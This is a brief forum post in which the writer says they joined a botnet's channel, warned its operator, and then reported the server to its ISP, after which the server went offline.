Hello folks and friends ;)
Not long ago this thread was active.
I connected to this botnet server and joined the botnet channel.
I warned the Admin of that botnet (shut down the server or you get
into trouble aso.) and he was uncooperative...
So i made my threat comming true.
4-5 days ago i posted all my collected facts to the ISP of this net.
Since now the Server is offline ;)
Hope i could help you...
